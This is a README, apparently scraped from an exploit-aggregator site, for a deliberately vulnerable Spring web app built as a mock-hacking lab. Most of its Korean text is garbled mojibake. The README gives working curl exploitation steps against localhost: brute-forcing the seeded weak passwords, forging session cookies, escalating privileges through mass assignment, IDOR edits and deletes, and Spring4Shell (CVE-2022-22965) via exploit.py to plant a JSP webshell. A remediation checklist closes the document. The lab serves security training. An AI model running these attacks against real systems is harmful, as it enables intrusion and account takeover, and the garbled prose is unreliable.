Share
## https://sploitus.com/exploit?id=66F7390F-EB96-5E0D-9712-05083B37F1B0
# ReznokWorks μ¬λ΄ κ²μν β λͺ¨μν΄νΉ μλλ¦¬μ€ PoC
μλ³Έ [Spring4Shell PoC](https://github.com/reznok/Spring4Shell-POC) μμ
**OWASP Top 10 μλ리μ€**λ₯Ό μΉμ λͺ¨μν΄νΉ μ€μ΅μ© μΉ μ ν리μΌμ΄μ
μ
λλ€.
"μ¬λ΄ κ²μν" μλΉμ€λ‘ μμ₯ν μ·¨μ½ μ¬μ΄νΈλ‘, λ€μ μΈ κ°μ§ μ·¨μ½μ μ νμ΅ν μ μμ΅λλ€.
| # | μ·¨μ½μ | OWASP | μμΉ |
|---|---|---|---|
| 1 | **Identification & Authentication Failures** | A07:2021 | `/login`, `/signup`, μΈμ
μΏ ν€ |
| 2 | **Broken Access Control (IDOR + κΆν κ²μ¦ λλ½)** | A01:2021 | `/post/edit`, `/user/profile`, `/admin` |
| 3 | **Spring4Shell (CVE-2022-22965)** | A06:2021 (μ·¨μ½ μ»΄ν¬λνΈ) | `/greeting`, `/signup`, `/post/write`, `/post/edit` |
> β λ³Έ νλ‘μ νΈλ νμ΅ λ° λͺ¨μν΄νΉ μ€μ΅ μ μ©μ
λλ€. μ€μ μ΄μ νκ²½μ λ°°ν¬νμ§ λ§μΈμ.
---
## 1. λΉ λ₯Έ μμ
```bash
docker build . -t reznokworks
docker run -p 8080:8080 reznokworks
```
WAR ν¨ν€μ§μ΄λΌ 컨ν
μ€νΈ κ²½λ‘λ `/helloworld` μ
λλ€.
- λ‘κ·ΈμΈ νλ©΄:
- κ²μν:
- Spring4Shell μ§μ
μ :
### μλ κ³μ (μλμ μΌλ‘ μ½ν λΉλ°λ²νΈ)
| μμ΄λ | λΉλ°λ²νΈ | κΆν |
|---|---|---|
| admin | admin123 | ADMIN |
| alice | 1234 | USER |
| bob | qwerty | USER |
| carol | password | USER |
---
## 2. μλλ¦¬μ€ νλ¦
```
ββββββββββββ ββββββββββββ ββββββββββββββββ ββββββββββββββββββ
β μ μ°° β ββ> β μ½ν μΈμ¦ β ββ> β κΆν μ°ν β ββ> β Spring4Shell β
β (κ²μν) β β λν β β (IDOR/Admin) β β β μΉμ RCE β
ββββββββββββ ββββββββββββ ββββββββββββββββ ββββββββββββββββββ
```
1. 곡격μλ `/helloworld/login` μμ μλ κ³μ μ μ½ν λΉλ°λ²νΈλ₯Ό λ¬΄μ°¨λ³ λμ
.
2. λ‘κ·ΈμΈ ν λ€λ₯Έ μ¬μ©μμ κ²μκΈμ μμ μμ /μμ (IDOR).
3. μ¨κ²¨μ§ `/admin` νμ΄μ§ κ°μ μ κ·Ό β νλ¬Έ λΉλ°λ²νΈ λ€ν.
4. `/greeting` λλ `/signup` νΌμ Spring4Shell νμ΄λ‘λ μ μ‘ β JSP μΉμ μμ± β RCE.
---
## 3. A07 μΈμ¦ μ€ν¨ β μ΅μ€νλ‘μ κ°μ΄λ
### 3.1 νλ¬Έ λΉλ°λ²νΈ + μλ μ ν μμ
`AuthController#loginSubmit` μ `user.getPassword().equals(input)` μΌλ‘
**νλ¬Έ λΉκ΅**ν©λλ€. μ κΈ/μ§μ° μ μ±
μ΄ μμ΄ λ¬΄μ°¨λ³ λμ
μ΄ κ°λ₯ν©λλ€.
```bash
for pw in 1234 admin admin123 password qwerty 12345; do
curl -s -o /dev/null -w "$pw -> %{http_code}\n" \
-X POST http://localhost:8080/helloworld/login \
-d "username=admin&password=$pw"
done
```
μ±κ³΅ μ `302` + `Set-Cookie: SESS_USER_ID=...` κ° λ¨μ΄μ§λλ€.
### 3.2 μμΈ‘ κ°λ₯ν μΈμ
ν ν°
`SessionHelper` λ μΈμ
ν ν°μ **κ·Έλ₯ μ¬μ©μ ID** λ‘ λ°κΈν©λλ€.
```bash
# μΈμ
κ°μ : ADMIN κ³μ μ IDλ 1
curl -b "SESS_USER_ID=1" http://localhost:8080/helloworld/admin
```
μΏ ν€ κ°μ `1, 2, 3, 4...` λ‘ enumerate νλ©΄ μμ μ¬μ©μλ‘ λ‘κ·ΈμΈλ©λλ€.
`HttpOnly`, `Secure`, `SameSite` λͺ¨λ λΉ μ Έ μμ΄ XSS/λ€νΈμν¬ νμ·¨μλ λ
ΈμΆλ©λλ€.
### 3.3 νμκ°μ
κΆν μμΉ
`/signup` μ `@ModelAttribute User` λ‘ λ°μΈλ©λμ΄ νΌμ μλ `role` λ
μ£Όμ
ν μ μμ΅λλ€.
```bash
curl -X POST http://localhost:8080/helloworld/signup \
-d "username=evil&password=1&role=ADMIN"
```
μμ±λ `evil` κ³μ μ ADMIN κΆνμ κ°μ§λλ€. (μ΄ μμ²΄λ‘ A01 + Mass Assignment)
---
## 4. A01 Broken Access Control β μ΅μ€νλ‘μ κ°μ΄λ
### 4.1 IDOR (κ²μκΈ μμ /μμ )
`BoardController#editForm/editSubmit/delete` λ μμ±μ κ²μ¦μ
νμ§ μμ΅λλ€. `alice` λ‘ λ‘κ·ΈμΈν λ€:
```bash
# admin μ΄ μμ±ν 1λ² κΈμ alice κ° μμ
curl -b "SESS_USER_ID=2" \
-X POST http://localhost:8080/helloworld/post/edit \
-d "id=1&title=HACKED&content=alice%20was%20here&category=곡μ§"
# μμ κΈ μμ
curl -b "SESS_USER_ID=2" \
"http://localhost:8080/helloworld/post/delete?id=2"
```
### 4.2 IDOR (μ§μ μ 보 μ‘°ν)
`UserController#profile` μ `?id=` νλΌλ―Έν°λ‘ μμ μ¬μ©μ μ 보λ₯Ό λ
ΈμΆν©λλ€.
```bash
for i in 1 2 3 4 5; do
curl -s -b "SESS_USER_ID=2" \
"http://localhost:8080/helloworld/user/profile?id=$i" \
| grep -E "(μμ΄λ|μ΄λ©μΌ|λΆμ)"
done
```
### 4.3 κ΄λ¦¬μ νμ΄μ§ κ°μ μ κ·Ό
`/admin` μ navbarμ λ
ΈμΆλμ§ μμ§λ§ URL μ§μ μ
λ ₯μΌλ‘ μ κ·Ό κ°λ₯νλ©°,
`AdminController#dashboard` λ **role κ²μ¦μ νμ§ μμ΅λλ€**.
μΌλ° μ¬μ©μλ λͺ¨λ μ¬μ©μμ νλ¬Έ λΉλ°λ²νΈ + μ 체 κ²μκΈμ μ‘°νν μ μμ΅λλ€.
```bash
curl -b "SESS_USER_ID=2" http://localhost:8080/helloworld/admin
```
---
## 5. Spring4Shell (CVE-2022-22965) β μ΅μ€νλ‘μ κ°μ΄λ
쑰건μ λͺ¨λ μΆ©μ‘±λ©λλ€:
- JDK β₯ 9 (Dockerfile: `tomcat-9.0.59-jdk11`)
- Spring Framework 5.3.15 (μ·¨μ½ λ²μ)
- WAR ν¨ν€μ§ + Tomcat
- `@ModelAttribute` κΈ°λ° κ°μ²΄ λ°μΈλ©
### μ·¨μ½ μλν¬μΈνΈ
| μλν¬μΈνΈ | λ°μΈλ© λͺ¨λΈ | λΉκ³ |
|---|---|---|
| `POST /greeting` | `Greeting` | μλ³Έ PoC νΈν (exploit.py) |
| `POST /signup` | `User` | μΈμ¦ μμ΄ νΈμΆ κ°λ₯ |
| `POST /post/write` | `Post` | λ‘κ·ΈμΈ νμ |
| `POST /post/edit` | `Post` | λ‘κ·ΈμΈ νμ |
### μ€ν
μλ³Έ exploit.py λ₯Ό κ·Έλλ‘ μ¬μ©ν μ μμ΅λλ€.
```bash
python exploit.py --url "http://localhost:8080/helloworld/greeting"
# λλ
python exploit.py --url "http://localhost:8080/helloworld/signup"
```
μ±κ³΅ μ `http://localhost:8080/shell.jsp?cmd=id` λ‘ λͺ
λ Ή μ€νμ΄ λ©λλ€.
---
## 6. λλ ν°λ¦¬ ꡬ쑰
```
src/main/java/com/reznok/helloworld/
βββ HelloworldApplication.java # Spring Boot μ§μ
μ
βββ HelloController.java # μλ³Έ Greeting (Spring4Shell νΈν)
βββ Greeting.java
βββ domain/
β βββ User.java # @ModelAttribute λ°μΈλ© λμ
β βββ Post.java # @ModelAttribute λ°μΈλ© λμ
βββ repository/
β βββ UserRepository.java # μλ κ³μ (μ½ν PW)
β βββ PostRepository.java # μλ κ²μκΈ
βββ security/
β βββ SessionHelper.java # μ·¨μ½ν μΈμ
(μμΈ‘ κ°λ₯ ν ν°)
βββ controller/
βββ AuthController.java # A07 + Spring4Shell
βββ BoardController.java # A01 IDOR + Spring4Shell
βββ UserController.java # A01 IDOR (μ§μ μ 보)
βββ AdminController.java # A01 κΆν κ²μ¦ λλ½
src/main/resources/
βββ application.properties
βββ static/css/style.css
βββ templates/
βββ login.html signup.html
βββ board.html post.html
βββ write.html edit.html
βββ profile.html admin.html
βββ hello.html # μλ³Έ PoC νΈν μ μ§
```
---
## 7. μμ νκ² λ§λλ €λ©΄ (체ν¬λ¦¬μ€νΈ)
- λΉλ°λ²νΈλ BCrypt/Argon2 λ‘ ν΄μ μ μ₯.
- μΈμ
μ μλ²μΈ‘ μ μ₯ + λλ€ ν ν° + `HttpOnly`+`Secure`+`SameSite=Strict`.
- λ‘κ·ΈμΈ 5ν μ€ν¨ μ μΌμ μκ° μ κΈ/μΊ‘μ°¨.
- `@ModelAttribute` λμ DTO νμ΄νΈλ¦¬μ€νΈ + `@InitBinder` λ‘ `setDisallowedFields("class.*", "Class.*", "*.class.*", "*.Class.*")`.
- λͺ¨λ 컨νΈλ‘€λ¬ μ§μ
μμ `@PreAuthorize` λλ λͺ
μμ μμ κΆ κ²μ¦.
- Spring Framework 5.3.18+ / 5.2.20+ λ‘ μ
κ·Έλ μ΄λ.
---
## ν¬λ λ§
- μλ³Έ PoC: [@Rezn0k](https://github.com/reznok/Spring4Shell-POC)
- μ·¨μ½μ λΆμ: [LunaSec](https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities)